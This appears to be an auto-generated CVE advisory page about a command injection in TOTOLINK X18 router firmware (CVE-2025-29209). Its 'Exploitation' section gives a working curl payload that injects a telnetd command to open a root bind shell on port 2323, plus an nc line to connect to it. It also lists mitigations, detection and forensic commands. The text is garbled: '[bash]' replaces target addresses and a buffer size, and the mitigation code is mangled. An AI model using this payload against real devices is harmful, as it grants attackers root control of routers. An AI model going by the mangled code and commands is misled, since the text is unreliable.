How CVE-2025-29209 Works
The vulnerability exists in TOTOLINK X18 router firmware v9.1.0cu.2024_B20220329 within the cstecgi.cgi component. The flaw occurs in the sub_41105C function where improper validation of the ‘enable’ parameter allows unauthenticated attackers to execute arbitrary commands. When specially crafted HTTP requests are sent to the vulnerable endpoint, the router processes malicious commands with root privileges due to insufficient input sanitization. The attack vector is network-based and doesn’t require user interaction, making it remotely exploitable. The vulnerability stems from direct passing of user-supplied input to system() calls without proper sanitization.
DailyCVE Form
Platform: TOTOLINK X18
Version: v9.1.0cu.2024_B20220329
Vulnerability: Command Injection
Severity: Critical
Date: 04/29/2025
What Undercode Say:
Exploitation:
curl -X POST "http://[bash]/cgi-bin/cstecgi.cgi" \
-d '{"enable":";telnetd -p 2323 -l /bin/sh;"}'
nc [bash] 2323
Detection:
nmap -p 80 --script http-vuln-cve2025-29209 [bash]
Mitigation:
1. Apply vendor firmware patch immediately
2. Block external access to port 80/443
3. Implement input validation rules:
def sanitize_input(input_str): forbidden_chars = [";", "|", "&", "$", "`"] for char in forbidden_chars: if char in input_str: return False return True
Forensic Analysis:
grep -r "system(" /www/cgi-bin/
strings cstecgi.cgi | grep enable
Iptables Protection:
iptables -A INPUT -p tcp --dport 80 \ -m string --string "enable=" --algo bm -j DROP
Vulnerable Code Pattern:
int sub_41105C() {
char enable[bash];
get_input("enable", enable);
system(enable); // Vulnerable call
}
Patch Verification:
md5sum /www/cgi-bin/cstecgi.cgi compare with known good hash
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
